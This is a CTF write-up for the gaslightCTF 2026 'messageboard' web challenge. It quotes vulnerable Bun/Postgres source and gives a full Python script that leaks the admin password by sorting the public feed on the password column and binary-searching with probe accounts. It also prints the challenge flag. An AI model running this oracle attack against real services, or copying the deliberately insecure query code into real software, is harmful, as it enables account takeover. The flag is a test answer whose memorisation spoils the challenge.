SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
B3S/WRITEUPS/GASLIGHTCTF-2026-MESSAGEBOARD-WRITEUP
← BACK TO ARCHIVE
EVENT: gaslightCTF 2026CATEGORY: WebPOINTS: 500 PTS

GasLightCTF 2026 - Messageboard Writeup

AUTHORED BY:@bealthguy8/15/2026

messageboard

Challenge

I left a little message for only my closest friends :)

Endpoint: https://<instance>.play.gaslightctf.cooking:1337 Source: messageboard.tar.zst

A Bun + Postgres message board. Every seeded user gets a secret (crypto.getRandomValues(new Uint8Array(8)).toHex()) which doubles as their login password. The admin's close_friends story is the flag, only visible to alice/carol/dave — so we must log in as admin.

Source analysis

const secret = () => crypto.getRandomValues(new Uint8Array(8)).toHex();
// ...
seeds: admin { closeFriends: process.env.FLAG, closeFriendsList: [class="hljs-string">"alice",class="hljs-string">"carol",class="hljs-string">"dave"] },
        bob   { secret: class="hljs-string">"iamthebuilder", ... },
class="hljs-string">"/api/stories": {
  async GET(req) {
    const column = url.searchParams.get(class="hljs-string">"column") || class="hljs-string">"name";
    const order  = url.searchParams.get(class="hljs-string">"order")  || class="hljs-string">"ASC";
    if (!filter(column) || !filter(order)) return 400;   // alphanumeric only
    const publicStories = await query(`
        SELECT name AS author, class="hljs-string">&#039;public&#039; AS visibility, ...
        FROM users
        WHERE public IS NOT NULL AND public_expiry > now()
        ORDER BY ${column} ${order}`);
    const cfStories = await query(`
        SELECT name AS author, class="hljs-string">&#039;close_friends&#039; AS visibility, ...
        FROM users
        WHERE close_friends IS NOT NULL AND close_friends_expiry > now()
          AND (close_friends_list @> ARRAY[class="hljs-string">&#039;${name}&#039;] OR name = class="hljs-string">&#039;${name}&#039;)
        ORDER BY ${column} ${order}`);
    return Response.json([...publicStories, ...cfStories]);

The filter whitelist (alphanumeric) blocks classic SQL injection into the ORDER BY ${column} — but it does not stop us from choosing column=secret. The query then sorts the public feed by each author's login password, and /api/stories returns every author's name. That gives us a compare oracle on admin's secret.

Side channel: ordering by the password column

Anyone can register (INSERT INTO users (name, secret) VALUES ('${name}','${password}')) and post a public story. So:

  1. Sign up a probe user whose password is a 16-hex string of our choosing.
  2. Post a public story so they appear in the public feed.
  3. Fetch /api/stories?column=secret&order=ASC and check whether admin appears before the probe user.

admin sorts before the probe ⇔ admin.secret < probe.secret (16 lowercase hex chars, so text order == numeric order).

Exploit: binary search the 64-bit secret

Search for the "flip point": the smallest value X with probe(X) false (admin ≥ X) and probe(X+1) true (admin < X+1) ⇒ X == admin.secret.

import requests, urllib3, uuid
urllib3.disable_warnings()
BASE = class="hljs-string">"https://<instance>.play.gaslightctf.cooking:1337"
s = requests.Session(); s.verify = False
s.post(BASE+class="hljs-string">"/api/login", json={class="hljs-string">"name":class="hljs-string">"bob",class="hljs-string">"password":class="hljs-string">"iamthebuilder"})

def query_pub():
    rows = s.get(BASE+class="hljs-string">"/api/stories", params={class="hljs-string">"column":class="hljs-string">"secret",class="hljs-string">"order":class="hljs-string">"ASC"}).json()
    return [x[class="hljs-string">"author"] for x in rows if x[class="hljs-string">"visibility"]==class="hljs-string">"public"]

def probe(secret_str):
    name = class="hljs-string">"p" + uuid.uuid4().hex[:8]
    assert s.post(BASE+class="hljs-string">"/api/signup", json={class="hljs-string">"name":name, class="hljs-string">"password":secret_str}).status_code == 200
    assert s.post(BASE+class="hljs-string">"/api/stories", json={class="hljs-string">"story":class="hljs-string">"q",class="hljs-string">"visibility":class="hljs-string">"public",class="hljs-string">"minutes":1440}).status_code == 200
    pub = query_pub()
    return pub.index(class="hljs-string">"admin") < pub.index(name)   # True => admin < probe secret

def tohex(v): return fclass="hljs-string">"{v:016x}"

lo, hi = 0, 16**16
while hi - lo > 1:
    mid = (lo + hi) // 2
    if probe(tohex(mid)): hi = mid
    else:                 lo = mid

cand = lo
while probe(tohex(cand)):        # walk back off any overshoot
    cand -= 1
while not probe(tohex(cand + 1)):# pin to the flip point
    cand += 1
print(class="hljs-string">"admin secret:", tohex(cand))

Gotcha: a plain midpoint binary search can overshoot by 1. When a probe's password equals admin's secret, Postgres returns ties in an unstable order, so probe(X) may report "admin < X" for the true value X and push the search past it. The final "walk to the flip point" pass fixes this.

Flag

gaslightCTF{ar3_y0u_my_cl0s3_fr13nd_n0w?_5d9a2eb1e163}